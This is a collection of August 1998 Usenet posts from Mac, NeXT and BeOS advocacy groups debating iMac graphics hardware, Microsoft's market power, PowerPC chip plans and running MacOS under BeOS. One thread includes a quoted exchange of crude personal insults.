Date: Thu, 06 Aug 1998 19:57:50 -0600
Organization: DATAMAGIK € Systems, Software, & Design Engineering
Message-ID: <datamagik-0608981957500001@eccr225mac193.colorado.edu>
While playing around with SheepSaver on BeOS R3.1 the other day, I was
successful in getting MacOS 8 to boot under BeOS.
You can see the screen snapshots at:
<http://www.geocities.com/ResearchTriangle/Lab/9105/be/>
I find it especially interesting, since this demonstrates the concept
behind Rhapsody's "Blue Box" (which similarly allows MacOS to boot under
Rhapsody ("MacOS X Server").
Kudos to SheepSaver's author!
Regards,
Jay Riley/Owner, DATAMAGIK
(BeOS mail to <mailto:jay.riley@usa.net>)
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 datamagik@usa.net
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Thu, 06 Aug 1998 21:06:02 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <35CA6F0E.6E27@exu.ericsson.se>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <6qd9sd$d5j$1@news.spacelab.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 7 Aug 1998 02:04:04 GMT
Charles W. Swiger wrote:
> From the current, second generation of 3D-accelerated video hardware (the
> Permedia II, Voodoo II, ATI Rage II Pro, nVidia 128, etc) the Rage Pro is in
> the top three across the board for general-purpose 2D and 3D performance.
The "second generation" is *not* the current generation of accelerators.
The current generation includes the RIVA TNT, the S3 Savage, the Matrox
G200, the Permedia 3, the Revolution IV, and the 3Dfx Banshee. This is
the generation that will impact the iMac's acceptance in 3D, from August
through Christmas.
I just bought a Millenium G200 for $119. I probably should have shopped
around more, but the price was so low I didn't even care. For an 8MB
card (upgradeable to 16MB) with a 250MHz RAMDAC, I figured what the
hell.
> Problem: the Voodoo I and Voodoo II chipsets can't do 2D, at all. The Voodoo
> Rush will, but it's 2D performance is at the bottom of the heap, and it's 3D
> performance isn't too hot, either.
Banshee will perform at approximate equivalence to a single Voodoo II
board. It features a single-chip integrated 2D/3D solution.
> That's the claim, yeah-- we'll see how they do in practice soon enough.
> However, it's pretty tough for the iMac to ship this month with chipsets that
> haven't hit the market, either.
They wouldn't do too badly with a nice, currently-shipping Matrox
chipset, from a company that has been one of the few 3D hardware vendors
to explicitly support the Macintosh. The G200 is highly superior to the
Rage II chipset, and has already become the standard against which 2D/3D
chipsets are measured.
> (4 MB just wasn't enough given Z-buffer and texture memory requirements,
> although AGP helps some) and sometimes poor 3D video quality. Again, we'll
> have to see whether they can deliver....
They already have delivered.
http://www.diamondmm.com (Diamond Viper 550)
http://www.elsa.de (Elsa Erazor GL)
MJP
From: Paul Hanson <phanson@execpc.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: How to Kill Microsoft
Date: Thu, 06 Aug 1998 21:30:11 -0500
Organization: Exec-PC BBS Internet - Milwaukee, WI
Message-ID: <6qdort$3qp@newsops.execpc.com>
References: <6qcvq3$t0i$1@owl.slip.net> <6qd0it$3r8@shelob.afs.com> <35ca2498.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
What about Applixware? I think this can export in .doc and .xls from a unix
or linux base... Comments?
Anyone know if this works on NeXTStep?
Jonathan W Hendry wrote:
> Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
>
> > Believe me, if this were easy, everyone would be doing it. I think the
> > best hope is if Microsoft holds to its promise to make Office 2000 XML-
> > compliant.
>
> I'm not confident that'll help. They'll probably just add tags,
> but still munge the data associated with the tags. If Microsoft
> goes XML, it's for their convenience, not anyone else's.
>
> --
> Note: email to this address goes to /dev/null
> To email a reply, write to jon at exnext dot com
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Thu, 6 Aug 1998 22:10:47 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6qdrbe$mhi$1@fir.prod.itd.earthlink.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CA2BFE.19FEA581@pilot.msu.edu> <lpreuss-ya02408000R0608981909310001@news.provide.net> <35CA3CB2.6816A6BC@pilot.msu.edu>
Wes Mininger (pyr) wrote in message
>This may seem odd, but how can M$ have a monopoly when they 'only' >(!)
have 90% of the market?
Well, people use the term monopoly when the fact is that level of control is
not neccessary to do horrid things to a market/slash industry. Nor does
being a monopoly mean that will happen either. I think that's part of the
problem people have. They think big must be bad......luckily the laws
themselves aren't very strictly written.
> It seems kind of obvious to me why it is good for M$ to promote >another
OS. My way of explaining it may be a little wierd but the idea >remains
correct
Yeah, I concur MS does have some things to gain by that kind of move.
I doubt they'd do it though.
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at>
<6p4qqf$jvu$1@nnrp02.primenet.com> <6p4tpk$q56$1@news.tuwien.ac.at>
<6p50pt$4et$1@nnrp03.primenet.com> <6p5e0j$1tl$2@msunews.cl.msu.edu>
<v6vt1.6070$7k7.7862518@news.rdc1.sdca.home.com> <6qd5hj$cuq$4@news.spacelab.net>
Message-ID: <Rqvy1.19432$7k7.17188290@news.rdc1.sdca.home.com>
Date: Fri, 07 Aug 1998 04:31:45 GMT
NNTP-Posting-Date: Thu, 06 Aug 1998 21:31:45 PDT
Organization: @Home Network
In <6qd5hj$cuq$4@news.spacelab.net> "Charles W. Swiger" wrote:
> rr6013@yahoo.com wrote:
>
> >> Or maybe Apple isn't pushing the message
> >> (sigh). All this 'save the Mac Faithful frenzy' is loosing the most
> >> critical message about what may be the best technology on the
> >> planet.
> >>
> >> Apple definately has excellent technology.
> >
> >Have you used this stuff?
>
> For almost a decade, yeah.
>
> > They haven't put most of this stuff on the market in usable form yet.
>
> Really? Then how come I've been doing pretty well for myself doing
NEXTSTEP
> software development over the past few years?
>
Hi Chuck, I've been reading your threads since the mid-90's. I've been doing
NeXTSTEP since 1991, so let's be fair. The past few years is a bit
disingenious of you. It makes it sound as if you've attained guru status
easily, when your story goes back further than that. It misses WebRex the
"Pre-cursor" to WebObjects that we'll choose not to go there. It misses
Crashcather and before that my memory escapes me (IIRC Sarrus) but you've
been around this technology a hell of alot longer than the past few years.
So for a guy who in the past few years built critical debugging tools for the
NeXTSTEP environment that NeXT never got around to supplying, who saw the
potential and hands down beat WebObjects to the market with a Web+EOF
solution and before that put commercial software apps on the market - you've
developed an invaluable expertise which extends beyond documented API's.
That's how come you've been doing pretty well for yourself... you earned it.
Which I'm glad to hear and wish you continued future success.
But hey, if we assume "all is there for the taking" we can expect new MacOS X
developers to come up to speed about the same rate as the ex-NeXT
programmers. Which puts us back to "tool building"...
-r
Rex Riley
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: afram1@iglou.com (Michael R. Hicks)
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <afram1-0608982345000001@lou-ts6-41.iglou.com>
Sender: news@iglou.com (News)
Organization: "The Company of Self"
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>
Date: Fri, 7 Aug 1998 03:45:00 GMT
In article <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
[...]
> And in the future, apple should get a clue. Cards for the pc that kick
> vodoo 2's butts are about to come out, and neither them nor even the vodoo
> 2 are available for the mac. Jobs needs to take his RDF gun with him and
> visit some of the card makers, maybe have a agp slot on all new desktop
> (as in non portable) macs, and get a some of these companies like the one
> that makes the riva to make drivers available for the mac, and bundle them
> with macs.
That's not true! Microconversions now makes a Voodoo II card
for the Macintosh...go to http://www.microconversions.com
The 8 MB card is $299, the 12 MB card is $349.
--
Michael R. Hicks - Louisville, KY
a "new jack" scholar...
http://www.louisville.edu/~mrhick01
Great minds talk about ideas,
Average minds talk about events,
Small minds talk about people...
Of which mind are you?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 6 Aug 98 22:26:18 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EFDE0C-120CA@206.165.43.186>
References: <35ca4ac3.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
>
>> The point, as I meant to make it, was comparing the cost of using the G4
>at
>> a certain speed (benchmark score) vs using the SOI-based G3's.
>
>You're assuming that the G4 won't get SOI. Why? There is no evidence
>on which to base that conclusion.
All I read was that SOI-based G3's would appear sometime next year. No
mention of G4's that I could see. Which implies that they won't appear
until after the G3 goes SOI.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 6 Aug 98 22:27:46 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EFDE64-13556@206.165.43.186>
References: <35ca55d0.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
>Once they get mass production down, there should be no technical
>reason why IBM can't use the same process on all the PowerPC CPU's
>they make from then on. G3, G4, etc.
I'm not hep on how CPU's are produced, but I don't believe that it is
trivial to switch production from SOI-based G3s to SOI-based G4s.
It's more than a few weeks, or even a month's work, I suspect.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 07 Aug 1998 00:38:57 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-0708980038570001@castle.webis.net>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com> <andyba-ya02408000R0408981731370001@news> <35C7BB93.C369E74B@nstar.net> <andyba-ya02408000R0508981534110001@news> <35C8ED8B.13026496@ericsson.com> <alex-0608981119560001@castle.webis.net> <35C9DC21.C3E06D0@ericsson.com>
NNTP-Posting-Date: 7 Aug 1998 05:38:49 GMT
In article <35C9DC21.C3E06D0@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
: Alex Kac wrote:
:
: > Well good, then. You'll like MOST of the new Theme's support in Appearance
: > 1.1 under 8.5. It DOES let you replace existing interface code - to a
: > point. For example, you could implement a new widget that miniturized a
: > window insted of windowshading it.
:
: Where do you get this? I can't find anything about it on the developer
: web site.
:
I get my information from other programmers who are more experienced with
what Allegro has to offer than I. I usually speak to them, ask, and they
answer.
In anycase, my understanding is that Themes under Allegro can be just
data-driven i.e. new look to old interface elements, or pretty complex
implementing some new behaviors. Its not as in-depth as Copland's Theme
Manager was, but it is better than Kaleidescope.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: "Wes Mininger (pyr)" <mininger@pilot.msu.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Fri, 07 Aug 1998 01:43:15 -0400
Organization: Michigan State University
Message-ID: <35CA93F3.1DEB358F@pilot.msu.edu>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CA2BFE.19FEA581@pilot.msu.edu> <lpreuss-ya02408000R0608981909310001@news.provide.net> <35CA3CB2.6816A6BC@pilot.msu.edu> <6qdrbe$mhi$1@fir.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Pinochet wrote:
>
> Wes Mininger (pyr) wrote in message
>
> >This may seem odd, but how can M$ have a monopoly when they 'only' >(!)
> have 90% of the market?
>
> Well, people use the term monopoly when the fact is that level of control is
> not neccessary to do horrid things to a market/slash industry. Nor does
> being a monopoly mean that will happen either. I think that's part of the
> problem people have. They think big must be bad......luckily the laws
> themselves aren't very strictly written.
>
> > It seems kind of obvious to me why it is good for M$ to promote >another
> OS. My way of explaining it may be a little wierd but the idea >remains
> correct
>
> Yeah, I concur MS does have some things to gain by that kind of move.
> I doubt they'd do it though.
M$ already *has* done this. Mr Gates went on about how there was plenty
of competition that required him to build IE into Win95/98 (I *refuse*
to even say innovate in the same sentence as that name). During the
whole ordeal where Gates, Barksdale, Dell, McNealy and.. a few others
cant recall offhand. I know who they are but the names arent coming to
me, Mr Gates *insisted* that Win95/98/NT was *not* a monopoly, alleging
that there were other OSes out there, citing MacOS as an example of a
competitor, till he was cleverly shot down by Barskdale asking everyone
in the room who used a computer to raise their hand. He then asked
everyone who used a win32 based machine to put his hand down. When all
the hands went down Barksdale said to the senators asking the questions
"That gentleman is a monopoly". So as you can see, M$ really is using
MacOS as an excuse for how it *must* do things that are decidedly
anticompetitive otherwise it might now survive (snicker). This more or
less shows my line of thinking to be very near the truth.
From: gdwarnernyet@ricochet.net (Glen Warner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Thu, 06 Aug 1998 22:50:26 -0700
Organization: GlenTech
Message-ID: <gdwarnernyet-0608982250270001@mg-20664219-23.ricochet.net>
References: <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105>
In article <B1EF8E4C-21EAA@206.165.43.105>, "Lawson English"
<english@primenet.com> wrote:
> Most importantly, MS bought the shares as part of an out-of-court
> settlement of patent theft. MS's influence is via the importance of its
> software to the continued well-being of Apple. Amelio wanted MS Office for
> Rhapsody + $1 billion. Jobs settled for $150 milllion plus MS Office for
> MacOS and then changed the name of Rhapsody to MacOS.
Heh. If this info is correct, it's somewhat similar to the games Microsoft
played with the license agreements involved in that famous 'Look-and-Feel'
suit.
>
> It will be interesting to see if MS programs for Carbon or for pre-Carbon
> MacOS APIs...
It will be interesting if Microsoft actually follows through: will they
pull another fiasco ala Word 6.0 (which someone (at MacOpinion, I believe)
suggested was deliberate: instantly discredits the MacOS for business
use)?
We'll see.
--gdw
(newsgroups trimmed. The folks in comp.sys.mac.system have more important
things to do!)
--
Remove the 'nyet' from the e-mail address, and you'll be all set.
(%*#$&! spammers ....)
From: NOamradioSPAM@thebizlink.com (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 05:30:37 -0500
Organization: World Wide
Message-ID: <NOamradioSPAM-0708980530380001@207-172-128-210.s210.tnt1.col.erols.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com>
<keyword>: Cool
In article <6qberc$3lm$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
NOamradioSPAM@thebizlink.com (Steve) wrote:
> I've always been told people from New Hampshire were slow. Is
> THIS stereotype "manifest from something"? Your logic is astounding.
If I'm being slow, it's only so a moronic dip shit, piece of crap, monkey
turd like yourself would stand a chance of comprehending. Clearly I've
failed at being slow enough. Let's try it again before they load you on the
special bus again. On second thought I wouldn't want to take away from your
enjoyment of playing in your diapers. Diapers, you know, the thing that
collects what you use for a brain skippy.
> Strawman. No one is arguing about the edible qualities of rhino
> dung or a great manhatten cheese cake.
Strawman? Hmm, yes, I think that is an good name for you. Now if you only
had a brain. You bumblefuck turd.
It is clear your argument has no validity when you resort to name calling.
I used the NH stereotype example to illustrate a point not as a personal
attack. Maybe it really is true.
From: NOamradioSPAM@thebizlink.com (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 05:32:25 -0500
Organization: World Wide
Message-ID: <NOamradioSPAM-0708980532250001@207-172-128-210.s210.tnt1.col.erols.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net>
<keyword>: Cool
In article <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
In article <6qberc$3lm$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> If I'm being slow, it's only so a moronic dip shit, piece of crap, monkey
> turd like yourself would stand a chance of comprehending. Clearly I've
> failed at being slow enough. Let's try it again before they load you on the
> special bus again. On second thought I wouldn't want to take away from your
> enjoyment of playing in your diapers. Diapers, you know, the thing that
> collects what you use for a brain skippy.
>
>
> > Strawman. No one is arguing about the edible qualities of rhino
> > dung or a great manhatten cheese cake.
>
> Strawman? Hmm, yes, I think that is an good name for you. Now if you only
> had a brain. You bumblefuck turd.
I sure am glad I havent offended Mr Kheit yet. I am sure after such a
flamage by him I would be in my bed crying into my pillow all night long
;-)
One must consider the source.
From: NOamradioSPAM@thebizlink.com (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 05:34:07 -0500
Organization: World Wide
Message-ID: <NOamradioSPAM-0708980534080001@207-172-128-210.s210.tnt1.col.erols.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net> <joe.ragosta-0608980741550001@0.0.0.0> <6qcas6$b1e$1@lwnws01.ne.highway1.com>
<keyword>: Cool
In article <6qcas6$b1e$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > I sure am glad I havent offended Mr Kheit yet. I am sure after
> > such a flamage by him I would be in my bed crying into my pillow
> > all night long ;-)
>
> You just consider the source.
>
> Since his grasp of the English language apparently hasn't gone
> past the third grade level, he can't get his point across without
> obscene, juvenile school yard name calling. It's really rather
> sad.
>
> Of course, this is just my opinion. Please do not take it as a
> statement of fact because then he'd start his threats about suing
> me again.
Why you boys have it all wrong. And to think you don't appreciate my
consideration. I just tailor what I write to my audience and write in a
style that they can understand. The 3rd grade level seems to be a cap for
you.
Which begs the question, if you are so advanced why bother with us?
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <35ca4ac3.0@news.depaul.edu> <B1EFDE0C-120CA@206.165.43.186>
Message-ID: <35ca9f4c.0@news.depaul.edu>
Date: 7 Aug 98 06:31:40 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
> >In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> >
> >> The point, as I meant to make it, was comparing the cost of using the G4
> >at
> >> a certain speed (benchmark score) vs using the SOI-based G3's.
> >
> >You're assuming that the G4 won't get SOI. Why? There is no evidence
> >on which to base that conclusion.
> All I read was that SOI-based G3's would appear sometime next year. No
> mention of G4's that I could see. Which implies that they won't appear
> until after the G3 goes SOI.
Has there been any mention of a 604-style G3?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Fri, 07 Aug 1998 00:17:12 -0700
Message-ID: <see-below-0708980017130001@dynamic36.pm06.mv.best.com>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <6qd9sd$d5j$1@news.spacelab.net>
In article <6qd9sd$d5j$1@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> macghod@concentric.net (Steve Sullivan) wrote:
> >Yes, we all know Jobs made a slight boo boo. Commenting how games would
> >be included with the imac, insuiating that the imac would be good for
> >games, when it comes with a lousy rage II card.
>
> From the current, second generation of 3D-accelerated video hardware (the
> Permedia II, Voodoo II, ATI Rage II Pro, nVidia 128, etc) the Rage Pro is in
> the top three across the board for general-purpose 2D and 3D performance.
Um, in real applications? ATI is notorious for tweaking their drivers to
get the best results in 3D Winbench, and having the card actually slow
down in real games as a result (from already being at the bottom of the
pack). In most real-world games tests I've seen, Permedia II and Rage Pro
are at the bottom of the line (behind even Voodoo 1), RIVA 128 is somewhat
better, Matrox G200 is better still, and Voodoo 2 is way out ahead.
> Pick your benchmarks, though, since it all depends on what you want to
> measure. For instance, the Voodoo II is unsurpassed at full-screen,
> dedicated 3D, especially SLI...but it's worthless for doing 2D or 3D in a
> window.
Very true.
> Problem: the Voodoo I and Voodoo II chipsets can't do 2D, at all. The Voodoo
> Rush will, but it's 2D performance is at the bottom of the heap, and it's 3D
> performance isn't too hot, either.
That's what Banshee is for. Coming very soon, roughly Voodoo 2 performance
coupled with fast 2D for a low price...
> > I do not know exactly how its implemented, but I take it it would take a
> > while to get this right since the rage 2 is part of the motherboard, thus
> > it would take a while to somehow get a vodoo working?
>
> Can't be done-- again, the Voodoo needs another 2D accelerator.
Very true. I think the logical immediate iMac upgrade is Rage Pro
(pin-compatible part) Later they could evaluate RIVA TNT, Savage 3D,
Matrox G200, Banshee, etc.
> > Actually, come to think of it since its part of the logic board it wouldnt
> > really work well as a BTO option. They should just replace the rage II
> > with a vodoo 1.
>
> Wrong. The Rage II is significantly faster than a Voodoo 1 for most 3D, and
> it does 2D as well.
Hahahahahahah! that's the funniest thing I've seen on usenet in a while.
Rage II is like 1/4 as fast as Voodoo 1, and even Rage Pro is slower than
Voodoo Graphics at 3D! I'm sure that's not what you meant to write, was
it?
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Solution to Imac SUCKS for games
Date: Fri, 07 Aug 1998 00:20:50 -0700
Message-ID: <see-below-0708980020500001@dynamic36.pm06.mv.best.com>
References: <6qdl2c$k74$1@Zeke.Update.UU.SE>
In article <6qdl2c$k74$1@Zeke.Update.UU.SE>, ante@Zeke.Update.UU.SE
(Andreas Gustafsson) wrote:
> Chad <lakari@earthlink.net> writes:
>
> >The reason the voodoo is so cheap is that it's not a complete video
> >controller. It only enhances 3d games that are written specifically to take
> >advantage of it. All other video functions are passed through the card from
> >the normal video controller and to the screen. I've got a 233 G3 minitower
> >with the Rage II chip in it...I'm not a hard core gamer, but I do enjoy
> >playing Quake and the like now and then. It still kicks ass, even without
> >3Dfx acceleration...very high frame rates at high resolution and detail. I
> >think the iMac will be more than adequate for most home users.
>
> Well, then just put two cards in the computer then!
>
> I think that selling a machine to the desktop, trying to win the
> home market without including the a 3Dfx card is impossible.
>
> If Jobs think iMac is a gaming machine, he thinks very wrong. 3Dfx
> has become so much of an standard that just about every other new
> game supports it. It might not be good for everything, but I know
> that people has been known to buy louse wintel boxes just to play
> voodoo enhanced games. Try to make that kind of customer buy an iMac
> instead and you're beginning to make money.
>
> Advanced hardware today must support the hottest entertainment software
> to sell.
>
> I do hope iMac Mk. II will be equipped with a voodoo2 board, othervise
> gamers are probably going to buy wintel. I know. I did.
Yeah, I think Banshee would be the perfect video for iMac rev 2. I'm just
dissapointed they didn't even use Rage Pro for the first one. It's as if
they went back and started selling a 120MHz 604 with 16MB of RAM and a
500MB HD or something...
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Fri, 7 Aug 1998 01:31:48 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6qe74b$7k6$1@oak.prod.itd.earthlink.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CA2BFE.19FEA581@pilot.msu.edu> <lpreuss-ya02408000R0608981909310001@news.provide.net> <35CA3CB2.6816A6BC@pilot.msu.edu> <6qdrbe$mhi$1@fir.prod.itd.earthlink.net> <35CA93F3.1DEB358F@pilot.msu.edu>
Wes Mininger (pyr) wrote in message
>> > It seems kind of obvious to me why it is good for M$ to promote
>>>another OS. My way of explaining it may be a little wierd but the
>>>idea remains correct
>> Yeah, I concur MS does have some things to gain by that kind of >>move. I
doubt they'd do it though.
>M$ already *has* done this.
Whups, sorry, let out some words:
Let me restate:
I doubt they'd do enough with it to screw themselves though.
My mistake. Don't you hate it when you do things like that....
I blame the full moon. Makes it harder for me to type, don't you know?
BTW: Don't even get me started on that poll thing, a single
sample is not proof of a monopoly. Otherwise I could walk into
a certain place and prove that Atari's have 50% of the market.... }:+)
Date: Fri, 07 Aug 1998 08:10:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0708980810430001@wil86.dol.net>
